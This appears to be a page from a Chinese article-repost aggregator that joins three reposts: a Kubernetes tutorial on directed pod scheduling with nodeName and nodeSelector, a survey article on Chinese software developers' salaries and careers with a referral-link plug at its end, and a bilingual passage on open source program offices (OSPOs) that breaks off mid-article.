但是在实际使用中,我们想控制某些pod定向到达某个节点上,应该怎么做呢?其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上,通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity :节点亲和性,调度到关系好的节点上 2、podAffinity:pod亲和性,调度到关系好的pod所在的节点上 3、PodAntAffinity:pod反清河行,调度到关系差的那个pod所在的节点上 污点(容忍)调度 污点是站在node的角度上的,比如果nodeA有一个污点,大家都别来,此时nodeA会拒绝master调度过来的pod 定向调度 指的是利用在pod上声明nodeName或nodeSelector的方式将pod调度到指定的pod节点上,因为这种定向调度是强制性的,所以如果node节点不存在的话,也会向上面进行调度,只不过pod会运行失败; 1、定向调度-> nodeName nodeName 是将pod强制调度到指定名称的node节点上,这种方式跳过了scheduler的调度逻辑,直接将pod调度到指定名称的节点上,配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeName: node1 调度到node1节点上 2、定向调度 -> NodeSelector NodeSelector是将pod调度到添加了指定label标签的node节点上,它是通过k8s的label-selector机制实现的,也就是说,在创建pod之前,会由scheduler用matchNodeSelecto调度策略进行label标签的匹配,找出目标node,然后在将pod调度到目标node; 要实验NodeSelector,首先得给node节点加上label标签 kubectl label nodes node1 nodetag=node1 配置文件内容如下 apiVersion: v1 版本号kind: Pod 资源类型metadata: name: pod-namenamespace: devspec: containers: - image: nginx:1.17.1name: nginx-containernodeSelector: nodetag: node1 调度到具有nodetag=node1标签的节点上 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_27184497/article/details/121765387。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-29 09:08:28
423
转载
转载文章
...学会如何去适应环境,调整心态。 程序员占据大壁江山,升任技术总监者凤毛麟角 从本次的调查数据来看,程序员在所有调查者中占据主流,人数为一半还多,高级程序员也占了20%,这也是为什么开发者薪资普遍不高的主要原因之一。曾经业界大为盛行的国内缺乏高层次的软件人才的说法,这里似乎可以提供实在而有力的数据支持(见表3、表4)。 另外,从本次调查还得到了一个趋势:在做了3-5年的程序开发工作后,开始产生一定的人员分流现象。从有一定技术能力的程序员开始,到根据自己兴趣与爱好的二次择业,有相当部分的人员脱离编码一线,开始跨入技术主管、项目经理、技术支持、市场推广等角色。 不满者过半,普遍认为薪水太低 调查显示只有4%的人对薪水比较满意,近64%的人认为自己的薪水与社会同等能力开发人员相比偏低,这可以看出软件泡沫对开发人员造成的心理落差依然存在。人们普遍认为,软件业比较浮燥,所处其中的人也比较浮燥,但现在软件产业的发展越来越趋于理性和平和,只有先调整好自己的心态,平和地从基本功练起,薪水的价值才可能越来越得到不断提升。 软件开发,让女性走开 表5数据表明,开发者世界是一块绝对属于男性的天地,被调查者中有97%的人员属于男性。记者在采访中不止一次地发现,在软件公司中工作的女性很少,而从事一线编码工作的女性则是少之更少。一方面,软件开发这种技术创新与高挑战性、高压力的工作,男性更易于取得成果。另一方面,也有一部分中小企业对女性程序员不重视,甚至同工不同酬,也让一些希望就职此行业的女性永远地离开了这块阵地。 北京、上海、深圳、杭州成为程序员的最爱 地域对软件人员的薪资有很大的影响。北京以其政治、文化的优势集中了近19%的软件开发者,上海、深圳各占13%、10%,而杭州,以其良好的自然环境、人文环境及政府环境也吸引了5%的软件人才(见表6)。数据表明,拥有高校资源的城市先天性地占据着开发人才的绝对优势。而且,各项调查数据显示,地域也已不再是限制开发者流动的主要因素,尤其对于技术高手,他们几乎可以自由地在各大城市间来来往往。 情人虽好,糟糠之妻难下堂 哪些人在投资it企业,被调查者所在公司的规模如何?根据采访,几乎绝大多数的被调查者都将外企列在了第一选择,青睐之情溢于言表,但毕竟高高的门坎以及各种复杂因素,致使这些意愿大部分都难以实现。反而是那些遭到诸多抱怨的民营企业,尤其是占据31%的最高市场份额、员工数不足50人、管理不规范的中小软件公司,容纳了52%的开发者队伍。 c/c++、java成为翘楚,c实力强劲 调查显示,c/c++、java已是中国开发者的最爱,delphi依然延续着它的传奇之路,而c表现出了强大的后劲,相信这个微软公司推崇备至的开发利器在未来几年会如vb一样赢得开发者的信赖。 人气最旺的2大领域——企业信息化、通信 企业信息化、通信、通用软件开发、系统集成四大领域集中了目前开发者的大多数。加入wto之后,中国企业要与世界接轨,e化是必然的趋势,况且通信这个新兴行业以其门槛高、薪水高也吸引了许多开发者。企业信息化作为传统行业向网络化迈进的必然过程,容纳着很多软件人。另外,从市场角度看,移动、游戏开发、信息全三大热点领域对开发者也同样有极强诱惑力。 本科、计算机专业、部属院校大学毕业者成为中流砥柱 软件开发,并非只有计算机专业的人才能胜任,调查显示,有近40%的开发者是从其它相关或无关专业转行而来,但不可否认的是,占据60%者仍然为科班出身者。另外,尽管从来就崇尚高中毕业生就能成为软件天才,但这样的神话毕竟只是少数,支撑中国软件业的仍然是大学教育程度以上者。参与调查者中86%具有大专以上学历,另有8%的人具有硕士学历,数据表明中国开发者的整体教育水平较高。 综合实力的三大法宝:阅历、技术与沟通 59%的开发者从业期间做过的项目不超过5个,61%的人沟通能力较差,而近76%的开发者对自己比较自信,认为自己能力不弱于公司其它人员甚至更强。根据调查,在影响软件人薪资的因素中,阅历、技术强弱是决定性因素。另外,信息化时代普遍重视团队与项目整体实力,沟通能力成为影响程序员个人发展的一个重要因素。 软件人主体正处青春期 “程序员是吃青春饭的”,这个论断在本次调查中从另外一个角度得到验证。58%的软件开发者年龄不到25岁,48%的人在本领域工作时间不到3年,这些软件生力军未来5年必将成为引导中国软件发展潮流的主力军(见表18、表19)。另外,根据调查与采访,年龄在35岁左右的第二代软件人,现在已经成长为企业或项目的管理者,在各大软件公司担当着成熟、理性、有主见的软件开发带头人的角色。 待遇与福利走向正规化 有63%的公司会根据员工表现主动加薪(见表20),近80%的公司会为员工提供基本福利,如养老、医疗保险、住房补助、午餐补助等(见表21)。培训作为提升开发人员专业技能和实力的直接手段,越来越得到更多公司的重视。根据调查,项目奖金和固定假期基本成为以项目方式运作的公司的固定法宝,以鼓励和保障员工的士气和工作积极性。越来越多的中国软件企业,开始迈向规范化管理之路。 技术与眼光是决定薪水的至关要素 绝大部分被调查者都认为技术能力是决定薪资的最关键因素。但在采访过程中,却有更多的技术总监甚至公司总经理一级,认为短期内决定一个开发者薪水的因素中技术能力确实非常关键,但从长期来看,能对开发者的薪水带来长期且持久影响的,却不只是技术能力,更多的则是他本人对业界的了解度,即眼光是否开阔。这是一个很重要的信号,如果只在技术点上打转的人,除非是技术天才型,决大多数必须从综合能力等各方面来加强,而绝非技术这一点。可以说,在加强自身技术实力的前提下,开阔的视野、一定的沟通能力、自我管理与团队管理能力都对个人的发展起到至关重要的作用。(见表22) 现状解析:五维度立体定位开发者的薪资水平 结合以上调查结果以及本刊记者的深入采访,从宏观角度来看,有五个要素立体性地将软件人定位在了一定的薪资水平上。 这五个要素分别是:眼光技术、角色定位、公司性质、行业领域、地域因素。除第一、二要素是以个体原因占主体外,其他三个关键要素都取决于社会、产业、企业或公司本身的发展情况,但这些要素也不是一成不变的,在一定程度上,都是双向选择。 眼光技术是关键 一级:眼光与阅历 二级:核心技术 三级:专业与沟通 眼光开阔者得高薪 被采访者:王永刚 个人背景:软件公司cto 对于“决定薪资的最关键因素是什么”这个问题,王永刚用“是否适合职位”来回答,这一点与很多认为技术能力强就可以拿高薪的观点很不一样。他认为,多数职位分工不同,即便技术能力强但不适合职位,一样拿不到理想的薪水。他们公司在给员工定职定薪时,会与权威的咨询公司合作,从分析职位工作职责,到该职位所要求的人员素质,再到应聘员工对该职位的理解以及实际的工作情况,进行综合考虑。 专业与技术产生核心竞争力 被采访者:孙勇 个人背景:高级程序员,linux下c/c++开发 工作四年来,孙勇一直从事linux下使用c/c++进行的嵌入式开发,四年中跳过两次槽。跳槽前后的薪水变化很有意思,跳槽前月薪低年薪高,跳槽后月薪高但年薪却降了很多,原因是第一家公司项目奖金、年终分红很多,而第二家公司却没有其他方面的奖励机制。 孙勇自认为跳槽太过频繁,这样对自己技术能力的发展会产生较多的负面影响。在他看来,一个人薪资的高低终究取决于自己技术的核心竞争力,变动太大可能会造成技术上的不连续。所以孙勇说,未来五年内自己会沉浸于技术不考虑其它,目的只有一个,就是让自己更专业、更核心! 专家分析:眼光专业与核心竞争力是定位软件人层级的第一法码,其包含着很多的综合因素:专业背景、阅历、经验值、能力高下等等。趋势全球研发及资讯执行副总裁国屏认为,“技术很重要,但更重要的是市场和文化的配合。在个人的发展过程中,学习也会起到重要的作用。此外,还必须认同企业文化,具备技术、对工作、对解决问题的热情”。此外,学习能力和沟通能力也是专家们认为重要度很高的2个要素。当然,这其中,作为前提“最重要的还是兴趣,缘于自身对程序开发的热爱”,8848公司cto张研如是说。 角色大挪移 一级指标:cto、项目承包人 二级指标:架构师、部门主管/项目主管 三级指标:普通开发人员 从个人发展的角度和过程来看,这个指标应该是倒向。但从业界普遍的认识,无论是能力、阅历还是收入待遇,人们普遍对一级指标中的人员更多持赞赏态度。 被采访者:张齐生 个人背景:技术总监 起初,我只是在一家软件公司作java程序员,后来随着项目的进展以及工作时间的推移,自己的技术能力、项目管理能力也逐步加强,从最初的开发人员做到项目主管,2003年底的时候做到技术总监,工资范围也从最初的4000元到8000元,再到技术总监的万元,角色的改变确实带来了很多附加价值,当然,这个职位要求你带来的价值也会更多。 专家分析:出现这种工资结构是正常的。因为架构师、cto一般都是从普通开发人员过来的,具有深厚的业界开发经验和背景。联合信息集团移动应用开发部总经理熊军认为,开发人员必须“对自己能力的认识有一个准确的职业定位。认识自己,才能准确地职业定位,有了准确的职业定位,才能有短期、中期和长期的发展方向和动力。” 8848公司cto张研表示反对“学而优则士”、“不想当将军的士兵就不是好士兵”此类说法。同样,csdn网站、《程序员》杂志社总经理蒋涛也不建议所有程序员都向管理道路发展,因为相比之下,项目经理和cto必定具有一些独特的素质,比如沟通能力、项目管理能力,组织能力、计划能力以及产品和技术的眼光等,这些素质并不是每一个人都具备的。 公司对对碰 一级指标:外资、合资、民营大型it公司 二级指标:合资、中小软件公司 三级指标:国企、事业单位 采访中,有位叫王岩的资深开发人员一再强调,如果可能,一定要进外企。本次调查中,微软亚洲研究院,ibm研究院等外企几乎成了大部分开发人员所向往的圣地。 外企是我第一选择 被采访者:李文山 个人背景:技术支持 上海交大毕业的李文山,在校时就已经参与了很多社团活动,因此也见识了不少各种企业人员的做事风格与思想状态。外企大公司前沿的技术科研、严谨负责的处事态度都给他留下了深刻的印象。当然,丰富的培训、优厚的待遇、放心的福利也是必须考虑的因素。用他的话说,“身边全是一级的牛人,自己的发展自然就有了保障”。 中小软件企业机会多 被采访者:刘洋 个人背景:项目经理+程序员 天天加班加点,见到刘洋时他一脸的菜色,但心情不错。毕业不到一年,他就凭技术能力与管理能力当上了项目经理。虽然下面员工流动率高,但刘洋的薪水却是老板亲自钦点,比起毕业的同班同学绰绰有余。从项目最初的客户谈判、到中间执行,再到最后的交工,刘洋什么都做过,因此也锻炼得几乎成了全能手。对于未来,他希望公司业务做大后,能再规范一些,当然,随着公司的成长,自己上升的空间也很大。 三企走遍 被采访者:阿蒙(vchome.net) 个人背景:6年,通信行业,珠海 我很幸运,毕业时就进了美资软件公司,从事系统软件的开发工作,主要应用c/c++、x86汇编、mips汇编、ddk、sdk等技术,年薪四万多。在这家外企工作两年后,技术与处事能力大有提高,但开始心生厌倦,总觉得外面的世界很精彩。后来有一家从事通信软件产品开发的公司,答应年薪翻倍,一年后可走上管理层,怦然心动后就去新公司报到了。一年后,如愿以偿地走上管理层,两年后,技术管理能力以及行业业务能力有了质的飞跃,也越来越发现这个行业有前途,于是与朋友开始策划开公司,资金融到后就轰轰烈烈地创业了。没日没干了一年,由于资金与市场的原因,公司over,只好灰溜溜地去一家香港合资公司继续打工,仍做管理层。 我的感觉是,外企有一整套规章制度,薪金制度也较为完善,工作考评有客观的数值:月工作计划与总结、季度工作考核、上司的总体评价等,这些考核都很详细,细到完成的代码量、文档数、提过什么建议等等。国内企业也有计划与考核,但更多的是主观态度,而对工作的效果与过程并不具体细化,人际关系、表达能力等往往起着很微妙的关键作用。当然国内企业也有很多优点,比如制度灵活。 专家点评:人才的争夺,一方面是卯足了劲准备抢占有利地势和环境的个人开发者,另一方面,企业间的人才争夺战越演越烈。在此情况下,为了吸引国内的高素质人才,不少外企纷纷在中国开设研究院,走“曲线救国”道路。根据一份猎头资料,摩托罗拉研发中心、松下电器中国研究开发公司、ibm中国研究中心、朗讯公司贝尔实验室、微软中国研究院都是猎取高级科研、管理人才的大头。外企与外企、外企与国企、国企与民企,这个三角关系,虽然在早几年优劣非常明显,但现在,这种差距正在明显缩小。具体适合哪个企业,围城内外其实也并不是三重天(见下页表23)。 热点行业易淘金 一级推荐:移动开发、游戏开发 二级推荐:安全领域、企业信息化 三级推荐:通用软件、系统平台、项目开发等 专家点评:出现这种趋势主要是由市场对软件人才的供求决定的,因为目前在移动和游戏领域开发人员确实比较少,所以相对而言,他们的薪资较高,这就是所谓的“奇货可居”。但是,目前市场在成长,这些新兴或热点领域的开发人员数量也在逐渐增加,当达到一个平衡点时,他们的工资也会随之下降,这主要由市场对人才的供求关系决定。不建议开发人员轻易放弃自己原有的开发领域花大量时间和精力投向自己不熟悉的领域。 所以,熊军认为:这两个行业方向的长线发展看好,也需要更多的开发人员,但是年轻人都要根据自己的兴趣爱好、思维模式、技术能力选择更适合自己的行业方向,而且也有很多更有潜力的方向,建议年轻人从长远考虑。 地域火拼 一级指标:北京、上海 二级指标:深圳、杭州、广州 三级指标:成都、武汉、大连等 绝大多数的软件从业人员集中在北京、上海、广州和深圳四大城市,其中尤以北京的人数最为集中,但在另一项相关的调查中,上海却是程序员最向往的城市。在本次收入调查中,北京、上海的工资较高。武汉稍低于成都。 地域不同,薪资有别 被采访者:青润 个人背景:5年,电信行业、软件企业服务 我本人在北京、上海、深圳、成都四地都曾工作过。我基本上这样认为,对于刚刚大学毕业的软件人员,工资情况是这样:成都1500-2000元/月,上海2000元/月,深圳2000-2500元/月,北京2000-2500元/月。工作几年后,以成都系数为1来计,上海和其他地方为1.3-1.5倍于成都的收入。差异主要也是因为生活成本造成的。 相比而言,北京具有王者气氛,有着俯瞰全国的实力和影响力。上海是经济驱动的城市。深圳对人的友好度最好,它的优点是有各种各样的新技术公司,缺点是缺乏大公司的支撑。好山好水的成都,虽起步了很多软件公司,但大都在出川后倒下了,或者只是长居四川,足少出户,感觉比较舒适和懒散。 安逸的成都竞争的北京 被采访者:夏桅 个人背景:。net开发人员 夏桅毕业之后就来到北京从事软件开发工作。但他时常怀念起成都的生活,那里的山,那里的水,还有怡然自得的成都人都给他留下了深刻的印象。 但夏桅还是不后悔。一方面,安逸的环境对自己发展不利,适度的竞争可以发掘自身的潜力。而且,眼界开阔了,薪水也高不少。当然,在北京的生活绝对说不上舒服,但机会多,可有多种选择,极大地改观了自己的现状。 一眼可以看到头的武汉,但我喜欢 被采访者:刘如宁 个人背景:大学教师、项目主管 在武汉工作了10多年,刘如宁感觉还是比较惬意。比收入,武汉可能还不如成都,更别提北京和上海,但武汉的生活成本比较低,几块钱就够一天的伙食了。在高校担当大学教师的刘如宁,科研任务不重,而且还有足够的时间去外面承接项目,用自己喜欢的软件开发技术赚取外快。“我不是一个特别喜欢接受挑战的人,这种做自己喜欢的事情、宁静而富裕的生活,我还是比较满足”,有房、有车,生活安定富足的刘如宁如是说。 专家点评:比“营利”,必须是一个闭环。有收入比较,还得有支出比较,两者对比后才是最终收获。在地域这个问题上,大城市,确实收入比较高,但相对的,生活成本也较高。 趋势全球研发及资讯执行副总裁梁国屏表示,趋势的薪资结构体系在全世界都是一样的,具体数值要根据各地的市场来调整。比如一个经理,他的等级可能是10,那么不论在中国、日本还是美国,他的等级都是10.但这个等级的薪水具体是多少,就要看当地的市场了,趋势会和当地的薪资调查单位合作,来确定系数,然后计算出具体的薪水。 除薪水外,地域的附加价值会更重要一些。第一,对于技术发展比较迅速的it业,在大城市,整体的环境和氛围相对会好一些,例如在北京和上海等地,几乎每天都会有技术论坛、开发者大会、大厂商的开发日、各领域大师的巡回讲座等。其次,作的机会也会比较多,因为集中了各种类型的公司和企业,总会找到适合你条件的合适职位和选择。第三,可以参与比较大的技术团体,形成独特的生活与社交圈。用8848公司cto张研的话来说,“如果周围都是高手,你不是高手也难”,所以地域对人影响最大的是提供了一个环境,其次才是机会和薪水。 对此,telelogic公司北方区总经理任群力建议说,“如果开发人员能够善于利用互联网,并有决心多学习,这种地域差异会得到弱化。” 我拿青春赌明天 在本次专题组织中,大部分被采访人都明确表示,自己会在软件业领域一直奋斗下去,因为从中得到了很多的快乐与激情。但明天是否一定会更好,这需要从两个角度去考虑:一是从个人角度讲,年轻的软件人一定要有个人职业的规划,而且这种规划要从自己特点或专长出发,与当前业界相适应。另外,更重要的是,个人发展到什么程度,还需要同整个软件大环境和社会环境挂钩。 个人职业要规划 现在广州做了4年delphi/c行业开发、年薪10万的王旋说,“工作后所得到的收获就是,学习和工作要有相对明确的目标,不能因为一时心动而去学习某一技术。在真正下决定之前,我通常会考虑更多因素,包括长期的发展、个人路线的规划、需要付出的代价、可能遇到的困难以及解决的办法等等,在决定后还会制定更加明确的计划,包括短期、中期和长期的,身边可以利用到的资源,以及每一个阶段是怎么过渡到更高阶段的计划。” 现在,越来越多的在职人员意识到,未来的职业细分市场中,只有在某一领域确实比较深入、具有专长和资源的人会得到企业的重视,浪里淘沙勇者胜。 中国软件业面临困境 中国的软件业发展目前面临两难境地。上至国家,下至各城市都给予了相当的政策优惠,但整体软件业的发展却一直雷声大,雨点小。对此,北航软件学院院长孙伟忧心忡忡,“很多人从心里看不起印度,但印度的软件业却有数家2万、3万员工规模的大企业,放眼中国,规模最大的东软集团、用友公司,真正的软件开发者也不过两、三千人,这种差别太巨大了,我们一定要好好思考,中国的软件业究竟出了什么问题?” 对此,很多专家认为,中国软件业已经面临一个新的转折点,随着信息化在各行各业的深入运用,软件业有机会深度专业化,由边缘而进入核心,从而形成以深度专业化为特征的核心竞争力。无论个人还是公司,我们都有幸在第一时间站在了软件业这块前沿阵地,但明天是否会更好,还有待于中国软件业的整体发展,在这颇为沉闷的时刻,我们期望“让暴风雨来得更猛烈些吧”! 参考资料:http://www.w-training.com/viewc.asp?id=23922 ====================================================== 在最后,我邀请大家参加新浪APP,就是新浪免费送大家的一个空间,支持PHP+MySql,免费二级域名,免费域名绑定 这个是我邀请的地址,您通过这个链接注册即为我的好友,并获赠云豆500个,价值5元哦!短网址是http://t.cn/SXOiLh我创建的小站每天访客已经达到2000+了,每天挂广告赚50+元哦,呵呵,饭钱不愁了,\(^o^)/ 本篇文章为转载内容。原文链接:https://blog.csdn.net/javazhuanzai/article/details/7189396。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-24 09:01:26
287
转载
转载文章
...具,并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区,那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示,“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “如果技术负债越来越多,那么公司的管理成本则会非常昂贵”。 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁,”Ambiel说,“这也是新员工所寻求的“。 她还提到,一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到,他们的理由有可能是这样的:“我只有有限的才华与时间,且我需要这些只做我认为可以处理且看到投资回报的事情。” 但她说,这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工,可以从中培养技能与增长才干。 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点:“找到为开源做出贡献的员工无疑就找到一座金矿,”他说。 他认为,这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中,拥抱开源的公司也更受到开发人员的青睐。 “最后,开源项目是由你可能无法聘请的技术专家社区推动的”,他说,“当员工积极参与并于这些专家合作时,他们将能更好地深入这些顶级的实践,并将这些收获带回到你的组织之中。” “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。”— Suzanne Ambiel,VMware 开源营销和战略总监 “但是这一切终究不会白费--开发人员不应该把空闲时间用在磨练他们的技能上,因为你的公司很快就会在他们的努力中看到好处。” Degionni认为,OSPO(开源计划办公室)可以帮助公司实现这些目标,以及帮助确定贡献的优先级并确保合作的进行。除此之外,他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “开源团队的成员也可以成为开源技术的伟大内部传播者,并充当组织与更广泛社区之间的桥梁。”他补充道。 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中,近 53% 的拥有 OSPO的组织表示,由于拥有了OSPO,他们看到了更多创新,而近 43% 的组织表示,他们在外部开源项目的参与度上有所增加。 Part3更多OSPO的好处:商业优势 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示,为开源社区做出贡献,不仅有助于社区,还有助于为社区做出贡献的公司。 “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与”,他说,“这可以变成一个良性循环。” 此外,根据哈佛商学院的研究,为开源项目作出贡献的公司从使用开源的项目中获得的生产价值,是不参与开源项目公司的两倍。 Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说,世界上许多巨头公司都为开源作出了贡献。他还提到,开源贡献者的指数是作为公司是否有所作为的参考。 科技巨头占据了这份榜单的主导地位:谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 依次是排名前 10 的贡献者。但Aniszczyk 表示,但也有很多终端用户公司进入前 100 名,包括 Uber、BBC、Orange、Netflix 和 Square。 “我们一直知道,在上游项目中工作不仅仅是关正确与否----它是开源软件开发的最佳方法,也是向客户提供开源福利的最佳方式”他说,“很高兴看到IT领导者们也认识到了这一点。” 为了和这些公司一起作出贡献,公司也需要有自己的开源策略,而拥有一个开源计划办公室则可以为其提供帮助。 “在使用开源软件方面,OPSO为公司提供了一个至关重要的能力中心”他说。 这与公司拥有安全运营中心的方式类似,他说。 “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与,这可以变成一个良性循环。” ——Tom Hickman,ThreatX 首席创新官 “如果你对安全团队进行相应投资,你通常是不会期望你的软件是安全的,也无法及时应对安全事件。”他说。 “同样的逻辑也适用于 OSPO,这就是为什么你会看到许多领先的公司,例如Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 根据Red Hat 2月分发布的一项调查,82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 受访者表示,当供应商支持开源社区时,就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 但收益的不仅仅是软件供应商们。 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查,57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 十年前,Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “对于我们来说,最大的工作是让不熟悉开源的员工学会并参与其中,成为优秀的社区成员”,他说,“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导,并确保我们没有与我们企业软件许可相冲突的开源项目合作。” 他说,OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 如今,他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 他说,参与开源系统对公司来说有着重大的经济效益。 “我们参与Knative是为了分享我们基础底层平台的开发,但作为业务的一部分,我们也拥有相关的增值服务。”他说,“通过共享该平台的研发,这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4如何入门开源 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中,有 63% 的公司表示,拥有OSPO 对其工程或产品团队的成功至关重要,高于上一年度该项研究数据的 54%。 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响,例如提高了代码质量。 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “首先,节流一下”,VMware 的 Ambiel 建议道。 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 之后,开发人员应该自己去了解一下。项目通常提供相关在线文档,一般包含贡献着指南、治理文档和未解决问题列表。 “对于那些你较感兴趣的项目中,你可以介绍一下自己----打个招呼”,她说。“然后转到Slack频道或者分发列表,询问他们需要帮助的地方。也许他们不需要帮助,一切完好;又或者他们也有可能使用新人来审查核验代码。” Ambiel 说,开源计划办公室不仅可以帮助制定为开源社区做出贡献的商业案例,还可以帮助公司以安全、可靠和健全的方式来做这件事。 “如果我为一家公司工作,并想为开源做出贡献,我不想意外披露、泄露或破坏任何专利,”她说。“而OSPO可以帮助您做出明智的选择。” 她说,OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Aqua Security的开发人员倡导者Anaïs Urlichs则认为,支持开源的承诺必须从高层开始。 她说,“公司在多数时候往往不重视对开源的投资,所以员工自然而然不被鼓励对此作出贡献。” 在这些情况下,员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽,这对于开源的发展来说是不可持续的。 “如果公司对开源项目依赖度高,那么将开源贡献纳入工程师的日程安排是很重要的,”她说。“一些公司定义了员工可以为开源建设的时间百分比,将其作为他们正常工作日的一部分。” The New Stack 是 Insight Partners 的全资子公司,Insight Partners 是本文提到的以下公司的投资者:Sysdig、Aqua Security。 中英对照版 How an OSPO Can Help Your Engineers Give Back to Open Source OSPO (开源项目办公室)是如何使工程师回馈开源的 When it comes to open source software, there’s a big and growing problem: most organizations are takers, not givers. 谈到开源软件,有一个较大且日益严重的问题:大多数组织都是索取者,而不是给予者。 There’s a classic XKCD comic that shows a giant structure representing modern digital infrastructure, dependent on a tiny component created by “some random person in Nebraska” who has been “thanklessly maintaining since 2003.” 经典漫画XKCD展示了一个代表现代数字基础设施的巨大结构,它依赖于“内布拉斯加州的某位人士”创建的微小组件,该组件“自2003年来一直都处于吃力不讨好的状态”。 Randall Monroe’s XKCD comic illustrates the open source dilemma: overreliance on a small number of volunteer project maintainers. Randall Monroe 的XKCD漫画展示了目前开源面临的窘境:过度依赖少数项目维护志愿者的志愿服务。 This would have been funny, except that this is exactly what happened when security vulnerabilities were discovered in Log4j last December. (开源项目由志愿者自发来维护,)这听起来像是一件很滑稽的事情,但事实上去年十二月在Log4j中发现的安全漏洞也确实存在着上述情况。 The Java-based logging tool is ubiquitous in enterprise publications. In the last three months, for example, Log4j has been downloaded more than 30 million times, according to a report by the enterprise software company Sonatype. 然而这个基于Java的日志记录工具已经在企业内部刊物中无处不在。例如根据软件公司Sonatype的一份报告显示,在过去的三个月里,Log4j的下载量就已经超过3000万次。 The tool has 440,000 lines of code, according to Synopsys‘ Black Duck Open Hub research tool, with nearly 24,000 contributions by nearly 200 developers. That’s a large dev team compared to other open source projects. But looking closer at the numbers, more than 70% of commits were by just five people. 根据Synopsys(新思)公司旗下的Black Duck Open Hub 研究工具显示。Log4j有着440,000行代码,由近200名开发人员贡献了将近24,000行代码。其实与其他开源项目相比,这是一个庞大的开发团队。但是如果关注数据的话,就会发现超过70%的提交是仅仅靠五个人来完成的。 Log4j’s home page lists about a dozen members on its project team. Most projects have far fewer developers working on them — and that presents a problem for the organizations that depend on them. Log4j的主页上展示了十几位项目团队的成员。而大多项目的开发人员要比其原本需要的少得多----这是高度依赖开发人员团队所呈现出来的问题。 “There is little incentive for anyone today to contribute to an existing open source project,” said Jeremy Stretch, distinguished engineer at NS1, a DNS network company. “There’s usually no direct compensation, and few accolades are offered — most users don’t even know who maintains the software that they use.” “如今的人没有什么动力去为现有的开源项目做贡献”,来自DNS网络公司NS1的杰出工程师Jeremy Strech说,“因为通常来说,这没有直接的物质回报,也很少提供荣誉----大多数用户甚至不知道他们所用的软件是谁维护的。” The most common motivation among open source contributors is to add a feature that they themselves want to see, he said. “Once this has been achieved, the contributor rarely sticks around.” 他说,开源贡献者们最常见的动机就是添加他们自己想要的功能。“一旦实现了这一点,他们几乎都不会留下来。” Meanwhile, as a project becomes more popular, the burden on the core team of maintainers keeps increasing. 与此同时,随着项目的逐渐流行,对于维护方面的核心团队来说,他们的负担也在不断增加。 “More users means more feature requests and more bug reports — but not more maintainers,” Stretch said. “What was once an enjoyable hobby can quickly become a tedious chore, and many maintainers understandably opt to simply abandon their projects altogether.” “更多的用户意味有着更多的功能需求和错误报告----但不是更多的维护人员”,Stretch说。“曾经令人愉快的爱好很快就会变成一项乏味的项目,所以很多维护人员选择干脆完全放弃他们的项目,这也是可以理解的。” Part1The Tragedy of the Commons The open source software ecosystem is a perfect example of the “tragedy of the commons.” 开源软件的生态系统,就是“公地悲剧”的一个完美例子。 And the tragedy is — when everyone uses, but no one contributes, that resource — whether it’s an overrun park or an open source project — eventually collapses from overuse and underinvestment. Everyone loves using free stuff, but everyone expects someone else to take care of it. 